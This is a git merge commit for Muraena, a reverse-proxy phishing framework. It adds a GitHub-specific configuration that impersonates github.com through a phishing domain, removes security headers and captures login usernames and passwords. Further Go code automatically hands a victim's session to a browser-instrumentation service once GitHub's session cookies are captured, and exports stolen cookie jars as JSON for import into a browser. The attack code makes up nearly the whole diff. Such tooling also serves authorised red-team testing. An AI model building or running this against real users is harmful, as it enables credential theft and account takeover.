Merge branch 'moreNecro' into release

* moreNecro:
  Using Debug log verbosity instead of info in victim tracker
  Added necrobrowser auto-trigger functionality based on cookie jar items. Fixed tracking via path (now supports not-existing paths too). Added example Github configuration
  Added export <sessionID> to export a full session cookieJar as JSON (ready for browser manual import)
This commit is contained in:
Giuseppe Trotta 2021-02-22 15:06:08 +01:00
commit 4e893df736
No known key found for this signature in database
GPG key ID: DB8F64DA3FD8FE10
8 changed files with 391 additions and 18 deletions

185
config/config.github.toml Normal file
View file

@ -0,0 +1,185 @@
[proxy]
# Phishing domain
phishing = "phishing.com"
# Target domain to proxy
destination = "github.com"
# Listening IP address
IP = "0.0.0.0"
# Listeninng TCP Port
port = 443
# Force HTTP to HTTPS redirection
[proxy.HTTPtoHTTPS]
enabled = true
HTTPport = 80
#
# Proxy's replacement rules
#
[transform]
# List of content types to exclude from the transformation process
skipContentType = [ "font/*", "image/*" ]
# Enable transformation rules in base64 strings
[transform.base64]
enabled = false
padding = [ "=", "." ]
[transform.request]
headers = [
"Cookie",
"Referer",
"Origin",
"X-Forwarded-For"
]
[transform.response]
headers = [
"Location",
"WWW-Authenticate",
"Origin",
"Set-Cookie",
"Access-Control-Allow-Origin"
]
# Generic replacement rules:
# it applies to body and any http header enabled for manipulation
content = [
[ "integrity", "intintint" ]
]
#
# Proxy's wiping rules
#
[remove]
[remove.request]
headers = [
"X-Forwarded-For"
]
[remove.response]
headers = [
"Content-Security-Policy",
"Content-Security-Policy-Report-Only",
"Strict-Transport-Security",
"X-XSS-Protection",
"X-Content-Type-Options",
"X-Frame-Options",
"Referrer-Policy",
"X-Forwarded-For"
]
#
# Rudimental redirection rules
#
[[drop]]
path = "/logout"
redirectTo = "https://github.com"
#
# LOG
#
[log]
enabled = true
filePath = "muraena.log"
#
# TLS
#
[tls]
enabled = true
# Expand allows to replace the content of the certificate/key/root parameters to their content instead of the
# filepath
expand = false
certificate = "./cert.pem"
key = "./privkey.pem"
root = "./fullchain.pem"
#
# CRAWLER
#
[crawler]
enabled = false
depth = 3
upto = 20
externalOriginPrefix = "cdn-"
externalOrigins = [
"*.githubassets.com"
]
#
# NECROBROWSER
#
[necrobrowser]
enabled = true
endpoint = "http://127.0.0.1:3000/instrument"
profile = "./config/instrument.github.necro"
[necrobrowser.keepalive]
# GET on an authenticated endpoint to keep the session alive
# every keepalive request is processed as its own necrotask
enabled = false
minutes = 5 # keeps alive the session every 5 minutes
[necrobrowser.trigger]
type = "cookies"
values = ["user_session", "dotcom_user"] # these are two cookies set by github after successful auth
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
#
# STATIC SERVER
#
[staticServer]
enabled = false
port = 8080
localPath = "./static/"
urlPath = "/evilpath/"
#
# TRACKING
#
[tracking]
enabled = true
# the tracking below supposes your phishing url will be something like:
# https://github.com/GithubProfile/aaa-111-bbb (see regex below)
# NOTE: the URL doesn't need to exist, so this is also valid (update identifier accordingly):
# https://github.com/GithubProfileFooBar/aaa-111-bbb
type = "path"
# Tracking identifier
identifier = "_GithubProfile_"
# Rule to generate and validate a tracking identifier
regex = "[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}-[a-zA-Z0-9]{3}"
[tracking.urls]
credentials = [ "/session" ]
# we don't need this anymore since we manage via necrobrowser.trigger
# authSession = [ "/settings/profile" ]
[[tracking.patterns]]
label = "Username"
matching = "login"
start = "login="
end = "&password="
[[tracking.patterns]]
label = "Password"
matching = "password"
start = "password="
end = "&"

View file

@ -144,6 +144,22 @@
endpoint = "http://necrobrowser.url/xyz"
profile = "./config/instrument.necro"
[necrobrowser.keepalive]
# GET on an authenticated endpoint to keep the session alive
# every keepalive request is processed as its own necrotask
enabled = false
minutes = 5 # keeps alive the session every 5 minutes
[necrobrowser.trigger]
type = "cookies"
values = ["user_session", "dotcom_user"] # values can be cookies names or relative paths
delay = 5 # check every 5 seconds victim's cookie jar to see if we need to instrument something
# type path example (triggers when the victim goes to a specific relative URL):
# type = "path"
# values = ["/settings/profile"]
# delay = 5
#
# STATIC SERVER

View file

@ -22,6 +22,8 @@ type Victim struct {
CredsCount int `redis:"creds_count"`
CookieJar string `redis:"cookiejar_id"`
SessionInstrumented bool `redis:"session_instrumented"`
}
// a victim has at least one set of credentials
@ -37,14 +39,16 @@ type VictimCredential struct {
// KEY scheme:
// victim:<ID>:cookiejar:<COOKIE_NAME>
type VictimCookie struct {
Name string `redis:"name"`
Value string `redis:"value"`
Domain string `redis:"domain"`
Expires string `redis:"expires"`
Path string `redis:"path"`
HTTPOnly bool `redis:"httpOnly"`
Secure bool `redis:"secure"`
Session bool `redis:"session"` // is the cookie a session cookie?
Name string `redis:"name" json:"name"`
Value string `redis:"value" json:"value"`
Domain string `redis:"domain" json:"domain"`
Expires string `redis:"expires" json:"expirationDate"`
Path string `redis:"path" json:"path"`
HTTPOnly bool `redis:"httpOnly" json:"httpOnly"`
Secure bool `redis:"secure" json:"secure"`
SameSite string `redis:"sameSite" json:"sameSite"`
Session bool `redis:"session" json:"session"` // is the cookie a session cookie?
}
func StoreVictim(id string, victim *Victim) error {
@ -68,6 +72,21 @@ func StoreVictim(id string, victim *Victim) error {
return nil
}
func SetSessionAsInstrumented(id string) error {
rc := RedisPool.Get()
defer rc.Close()
key := fmt.Sprintf("victim:%s", id)
if _, err := rc.Do("HSET", key, "session_instrumented", true); err != nil {
log.Error("error doing redis HSET: %s. session_instrumented field not saved.", err)
return err
}
return nil
}
func GetAllVictims() ([]string, error) {
rc := RedisPool.Get()
defer rc.Close()
@ -197,7 +216,7 @@ func GetVictimCookiejar(id string) ([]VictimCookie, error) {
return nil, err
}
log.Info("Victim %s has %d cookies in the cookiejar", id, len(values))
log.Debug("Victim %s has %d cookies in the cookiejar", id, len(values))
var cookiejar []VictimCookie
for _, name := range values {

View file

@ -47,4 +47,4 @@ var (
dateTimeFormat = "02 Jan 06 15:04 MST"
// Format is the default format being used when logging.
format = "{datetime} {level:color}{level:name}{reset} {message}"
)
)

View file

@ -6,11 +6,12 @@ import (
"strings"
"time"
"github.com/muraenateam/muraena/log"
"gopkg.in/resty.v1"
session "github.com/muraenateam/muraena/session"
"github.com/muraenateam/muraena/core/db"
"github.com/muraenateam/muraena/session"
)
const (
@ -104,9 +105,80 @@ func Load(s *session.Session) (m *Necrobrowser, err error) {
m.Request = string(bytes)
// spawn a go routine that checks all the victims cookie jars every N seconds
// to see if we have any sessions ready to be instrumented
if s.Config.NecroBrowser.Enabled {
go m.CheckSessions()
}
return
}
func (module *Necrobrowser) CheckSessions() {
triggerType := module.Session.Config.NecroBrowser.Trigger.Type
triggerDelay := module.Session.Config.NecroBrowser.Trigger.Delay
for {
switch triggerType {
case "cookies":
module.CheckSessionCookies()
case "path":
// TODO
log.Warning("currently unsupported. TODO implement path")
default:
log.Warning("unsupported trigger type: %s", triggerType)
}
time.Sleep(time.Duration(triggerDelay) * time.Second)
}
}
func (module *Necrobrowser) CheckSessionCookies() {
triggerValues := module.Session.Config.NecroBrowser.Trigger.Values
victims, err := db.GetAllVictims()
if err != nil {
module.Debug("error fetching all victims: %s", err)
}
module.Debug("checkSessions: we have %d victim sessions. Checking authenticated ones.. ", len(victims))
for _, vId := range victims {
cookieJar, err := db.GetVictimCookiejar(vId)
if err != nil {
module.Debug("error fetching victim %s: %s", vId, err)
}
cookiesFound := 0
cookiesNeeded := len(triggerValues)
for _, cookie := range cookieJar {
if Contains(&triggerValues, cookie.Name) {
cookiesFound++
}
}
v, _ := db.GetVictim(vId)
// if we find the cookies, and the session has not been already instrumented (== false), then instrument
if cookiesNeeded == cookiesFound && !v.SessionInstrumented {
module.Instrument(cookieJar, "[]") // TODO add credentials JSON, instead of passing empty [] array
// prevent the session to be instrumented twice
db.SetSessionAsInstrumented(vId)
}
}
}
func Contains(slice *[]string, find string) bool {
for _, a := range *slice {
if a == find {
return true
}
}
return false
}
func (module *Necrobrowser) Instrument(cookieJar []db.VictimCookie, credentialsJSON string) {
var necroCookies []SessionCookie

View file

@ -83,6 +83,13 @@ func (module *Tracker) Prompt() {
case "credentials":
module.ShowCredentials()
case "export":
// TODO
module.ExportSession("XX")
}
}
@ -239,18 +246,27 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
}
noTraces := true
isTrackedPath := false
//
// Tracing types: Path || Query (default)
//
if module.Type == "path" {
re := regexp.MustCompile(`/([^/]+)`)
tr := module.Session.Config.Tracking
pathRegex := strings.Replace(tr.Identifier, "_", "/", -1) + tr.Regex
re := regexp.MustCompile(pathRegex)
match := re.FindStringSubmatch(request.URL.Path)
module.Info("tracking path match: %v", match)
if len(match) > 0 {
t = module.makeTrace(match[1])
t = module.makeTrace(match[0])
if t.IsValid() {
request.Header.Set(module.Landing, strings.ReplaceAll(request.URL.Path, t.ID, ""))
module.Info("setting %s header to %s", module.Landing, strings.ReplaceAll(request.URL.Path, t.ID, ""))
noTraces = false
isTrackedPath = true
}
}
}
@ -320,6 +336,11 @@ func (module *Tracker) TrackRequest(request *http.Request) (t *Trace) {
}
v.RequestCount++
if module.Type == "path" && isTrackedPath {
request.URL.Path = module.Session.Config.Tracking.RedirectTo
}
return
}

View file

@ -1,12 +1,17 @@
package tracking
import (
"encoding/json"
"fmt"
"os"
"time"
"github.com/muraenateam/muraena/module/necrobrowser"
"github.com/evilsocket/islazy/tui"
"github.com/muraenateam/muraena/core/db"
"github.com/muraenateam/muraena/log"
)
func (module *Tracker) GetVictim(t *Trace) (v *db.Victim, err error) {
@ -35,7 +40,7 @@ func (module *Tracker) ShowCredentials() {
var rows [][]string
victims, err := db.GetAllVictims()
module.Info("All Victims: %v", victims)
module.Debug("All Victims: %v", victims)
if err != nil {
module.Debug("error fetching all victims: %s", err)
@ -47,7 +52,7 @@ func (module *Tracker) ShowCredentials() {
module.Debug("error fetching victim %s: %s", vID, err)
}
module.Info("Creds for victim %s: %d", vID, victim.CredsCount)
module.Debug("Creds for victim %s: %d", vID, victim.CredsCount)
for i := 0; i < victim.CredsCount; i++ {
t := tui.Green(victim.ID)
@ -66,6 +71,50 @@ func (module *Tracker) ShowCredentials() {
}
// ShowVictims prints the list of victims
func (module *Tracker) ExportSession(id string) {
const timeLayout = "2006-01-02 15:04:05 -0700 MST"
rawCookies, err := db.GetVictimCookiejar(id)
if err != nil {
module.Debug("error fetching victim %d cookie jar: %s", id, err)
}
// this extra loop and struct is needed since browsers expect the expiration time in unix time, so also different type
var cookieJar []necrobrowser.SessionCookie
for _, c := range rawCookies {
log.Debug("trying to parse %s with layout %s", c.Expires, timeLayout)
t, err := time.Parse(timeLayout, c.Expires)
if err != nil {
log.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name)
continue
}
nc := necrobrowser.SessionCookie{
Name: c.Name,
Value: c.Value,
Domain: c.Domain,
Expires: t.Unix(),
Path: c.Path,
HTTPOnly: c.HTTPOnly,
Secure: c.Secure,
Session: t.Unix() < 1,
}
cookieJar = append(cookieJar, nc)
}
cookieJarJson, err := json.Marshal(cookieJar)
if err != nil {
module.Warning("Error marshalling the cookieJar: %s", err)
return
}
log.Info("Victim %s CookieJar:\n\n%s", id, cookieJarJson)
}
// ShowVictims prints the list of victims
func (module *Tracker) ShowVictims() {
@ -85,10 +134,9 @@ func (module *Tracker) ShowVictims() {
module.Debug("error fetching all victims: %s", err)
}
module.Info("All Victims: %v", victims)
module.Debug("All Victims: %v", victims)
for _, vId := range victims {
module.Info("victim id: %v", vId)
v, err := db.GetVictim(vId)
if err != nil {

View file

@ -129,6 +129,17 @@ type Configuration struct {
Enabled bool `toml:"enabled"`
Endpoint string `toml:"endpoint"`
Profile string `toml:"profile"`
Keepalive struct {
Enabled bool `toml:"enabled"`
Minutes int `toml:"minutes"`
} `toml:"keepalive"`
Trigger struct {
Type string `toml:"type"`
Values []string `toml:"values"`
Delay int `toml:"delay"`
} `toml:"trigger"`
} `toml:"necrobrowser"`
//
@ -163,6 +174,7 @@ type Configuration struct {
Domain string `toml:"domain"`
IPSource string `toml:"ipSource"`
Regex string `toml:"regex"`
RedirectTo string `toml:"redirectTo"`
Urls struct {
Credentials []string `toml:"credentials"`